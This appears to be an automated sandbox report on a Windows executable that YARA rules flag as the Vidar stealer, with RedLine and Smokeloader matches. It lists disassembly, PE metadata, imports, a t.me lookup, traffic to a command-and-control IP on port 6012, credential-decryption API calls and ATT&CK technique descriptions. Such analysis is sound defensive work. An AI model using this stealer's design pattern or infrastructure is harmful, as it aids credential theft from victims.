test eax, eax
jne 00007F3728BC97E8h
mov eax, 0044E260h
ret
add eax, 08h
ret
call 00007F3728BCE8B2h
test eax, eax
jne 00007F3728BC97E8h
mov eax, 0044E264h
ret
add eax, 0Ch
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
call 00007F3728BC97C7h
mov ecx, dword ptr [ebp+08h]
push ecx
mov dword ptr [eax], ecx
call 00007F3728BC9767h
pop ecx
mov esi, eax
call 00007F3728BC97A1h
mov dword ptr [eax], esi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 4Ch
mov eax, dword ptr [0044E270h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
xor ebx, ebx
push esi
mov esi, dword ptr [ebp+08h]
push edi
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-1Ch], ebx
mov dword ptr [ebp-20h], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-24h], ebx
mov dword ptr [ebp-4Ch], esi
mov dword ptr [ebp-48h], ebx
cmp dword ptr [esi+14h], ebx

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d52c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x203d000	0x17958	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2055000	0x1394	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1220	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3bf8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4cf90	0x4d000	False	0.8349419135551948	data	7.723744016228705	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4e000	0x1fee8c4	0x2200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x203d000	0x17958	0x17a00	False	0.36691881613756616	data	4.176871845508122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2055000	0xb034	0xb200	False	0.0936402738764045	data	1.1823194980378087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x20521d8	0xe	data	Punjabi	Pakistan	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521d8	0xe	data	Punjabi	India	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521e8	0xe	data	Punjabi	Pakistan	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521e8	0xe	data	Punjabi	India	1.5714285714285714
RT_CURSOR	0x20521f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.27238805970149255
RT_CURSOR	0x20521f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.27238805970149255
RT_CURSOR	0x20530a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.375
RT_CURSOR	0x20530a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.375
RT_CURSOR	0x2053948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.5057803468208093
RT_CURSOR	0x2053948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.5057803468208093
RT_ICON	0x203d7a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.35767590618336886
RT_ICON	0x203d7a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.35767590618336886
RT_ICON	0x203e648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.4760830324909747
RT_ICON	0x203e648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.4760830324909747
RT_ICON	0x203eef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.4645228215767635
RT_ICON	0x203eef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.4645228215767635
RT_ICON	0x2041498	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.4704502814258912
RT_ICON	0x2041498	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.4704502814258912
RT_ICON	0x2042540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.49645390070921985
RT_ICON	0x2042540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.49645390070921985
RT_ICON	0x20429f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.41647465437788017
RT_ICON	0x20429f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.41647465437788017
RT_ICON	0x20430c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.26441908713692946
RT_ICON	0x20430c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.26441908713692946
RT_ICON	0x2045668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.324468085106383
RT_ICON	0x2045668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.324468085106383
RT_ICON	0x2045b00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.37100213219616207
RT_ICON	0x2045b00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.37100213219616207
RT_ICON	0x20469a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.45306859205776173
RT_ICON	0x20469a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.45306859205776173
RT_ICON	0x2047250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.4539170506912442
RT_ICON	0x2047250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.4539170506912442
RT_ICON	0x2047918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.4515895953757225
RT_ICON	0x2047918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.4515895953757225
RT_ICON	0x2047e80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.26950207468879667
RT_ICON	0x2047e80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.26950207468879667
RT_ICON	0x204a428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.3058161350844278
RT_ICON	0x204a428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.3058161350844278
RT_ICON	0x204b4d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.3617021276595745
RT_ICON	0x204b4d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.3617021276595745
RT_ICON	0x204b9a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	Pakistan	0.5191897654584222
RT_ICON	0x204b9a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	India	0.5191897654584222
RT_ICON	0x204c848	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	Pakistan	0.5085740072202166
RT_ICON	0x204c848	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	India	0.5085740072202166
RT_ICON	0x204d0f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	Pakistan	0.45622119815668205
RT_ICON	0x204d0f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	India	0.45622119815668205
RT_ICON	0x204d7b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	Pakistan	0.4761560693641618
RT_ICON	0x204d7b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	India	0.4761560693641618
RT_ICON	0x204dd20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	Pakistan	0.28143153526970954
RT_ICON	0x204dd20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	India	0.28143153526970954
RT_ICON	0x20502c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	Pakistan	0.30816135084427765
RT_ICON	0x20502c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	India	0.30816135084427765
RT_ICON	0x2051370	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	Pakistan	0.3368852459016393
RT_ICON	0x2051370	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	India	0.3368852459016393
RT_ICON	0x2051cf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	Pakistan	0.375
RT_ICON	0x2051cf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	India	0.375
RT_STRING	0x2054150	0xb8	data	Punjabi	Pakistan	0.5815217391304348
RT_STRING	0x2054150	0xb8	data	Punjabi	India	0.5815217391304348
RT_STRING	0x2054208	0x74a	data	Punjabi	Pakistan	0.42497320471597
RT_STRING	0x2054208	0x74a	data	Punjabi	India	0.42497320471597
RT_GROUP_CURSOR	0x2053eb0	0x30	data	Punjabi	Pakistan	0.9375
RT_GROUP_CURSOR	0x2053eb0	0x30	data	Punjabi	India	0.9375
RT_GROUP_ICON	0x20429a8	0x4c	data	Punjabi	Pakistan	0.75
RT_GROUP_ICON	0x20429a8	0x4c	data	Punjabi	India	0.75
RT_GROUP_ICON	0x204b938	0x68	data	Punjabi	Pakistan	0.7115384615384616
RT_GROUP_ICON	0x204b938	0x68	data	Punjabi	India	0.7115384615384616
RT_GROUP_ICON	0x2045ad0	0x30	data	Punjabi	Pakistan	0.9791666666666666
RT_GROUP_ICON	0x2045ad0	0x30	data	Punjabi	India	0.9791666666666666
RT_GROUP_ICON	0x2052160	0x76	data	Punjabi	Pakistan	0.6694915254237288
RT_GROUP_ICON	0x2052160	0x76	data	Punjabi	India	0.6694915254237288
RT_VERSION	0x2053ee0	0x270	data	Punjabi	Pakistan	0.5272435897435898
RT_VERSION	0x2053ee0	0x270	data	Punjabi	India	0.5272435897435898

Imports

DLL

Import

KERNEL32.dll

GetDateFormatW, UnregisterWait, FindResourceA, FindFirstFileW, FindFirstChangeNotificationW, SetFilePointer, GetConsoleAliasesLengthW, PeekNamedPipe, SetComputerNameExA, GetCurrentProcess, SetEnvironmentVariableW, InterlockedCompareExchange, AddConsoleAliasW, CreateHardLinkA, FreeEnvironmentStringsA, GetModuleHandleW, ReadConsoleInputA, CopyFileW, GetSystemWindowsDirectoryA, GetConsoleAliasExesLengthW, CreateFileW, GetVolumePathNameA, GetLastError, SetLastError, ReadConsoleOutputCharacterA, GetProcAddress, VirtualAlloc, VirtualAllocEx, SetFileApisToOEM, LoadLibraryA, InterlockedExchangeAdd, BuildCommDCBAndTimeoutsW, FindAtomA, GetOEMCP, GetModuleHandleA, FreeEnvironmentStringsW, EnumResourceNamesA, GetConsoleTitleW, GetShortPathNameW, FileTimeToLocalFileTime, FindFirstVolumeW, QueryDepthSList, FindNextVolumeA, AreFileApisANSI, CreateFileA, CloseHandle, WideCharToMultiByte, InterlockedIncrement, InterlockedDecrement, InterlockedExchange, MultiByteToWideChar, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCommandLineA, GetStartupInfoA, GetCPInfo, RtlUnwind, RaiseException, LCMapStringW, LCMapStringA, GetStringTypeW, HeapAlloc, HeapCreate, VirtualFree, HeapReAlloc, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapSize, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeA, GetACP, IsValidCodePage, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, InitializeCriticalSectionAndSpinCount, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, GetLocaleInfoW, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW

USER32.dll

ChangeMenuA, LoadMenuW, GetMessageExtraInfo

Possible Origin

Language of compilation system	Country where language is spoken	Map
Punjabi	Pakistan
Punjabi	India

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2023 16:50:48.348377943 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.348463058 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.348647118 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.372037888 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.372093916 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.448729038 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.449021101 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.699378967 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.699475050 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.700390100 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.700628996 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.704653025 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.747484922 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748595953 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748656034 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748754978 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748779058 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748856068 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748857975 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748872042 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748925924 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.752507925 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.752535105 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.757543087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.779143095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:48.779371023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.779787064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.800959110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.066073895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.066252947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.400916100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422157049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422274113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422308922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422339916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422370911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422414064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422452927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422471046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422485113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422518969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422523022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422544003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422554016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422576904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422584057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422657013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.443973064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444034100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444082022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444128990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444194078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444241047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444288969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444324970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444336891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444365025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444386959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444431067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444437027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444479942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444484949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444531918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444531918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444582939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444617987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444631100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444658995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444709063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444736004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444755077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444791079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444803953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444849014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444850922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444897890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444900990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444947958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444983959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.445024967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.445081949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.466572046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466633081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466682911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466728926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466777086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466825008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466872931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466921091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466967106 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467015028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467061043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467091084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467108011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467154980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467164040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467202902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467252970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467262030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467299938 CEST	6012	49774	195.201.254.123	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2023 16:50:48.321386099 CEST	52799	53	192.168.2.8	8.8.8.8
Aug 31, 2023 16:50:48.336807013 CEST	53	52799	8.8.8.8	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2023 16:50:48.321386099 CEST	192.168.2.8	8.8.8.8	0x810	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2023 16:50:48.336807013 CEST	8.8.8.8	192.168.2.8	0x810	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

195.201.254.123:6012

Target ID:	1
Start time:	16:50:20
Start date:	31/08/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	467'456 bytes
MD5 hash:	BF81661814944B92DA689F1C461EF908
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Disassembly

⊘No disassembly

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004158A0 CryptUnprotectData,LocalAlloc,_memmove,LocalFree,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040AA30 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,_memset,CryptBinaryToStringA,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00415600 _memset,lstrlen,CryptStringToBinaryA,_memmove,lstrcat,lstrcat,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00415820 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
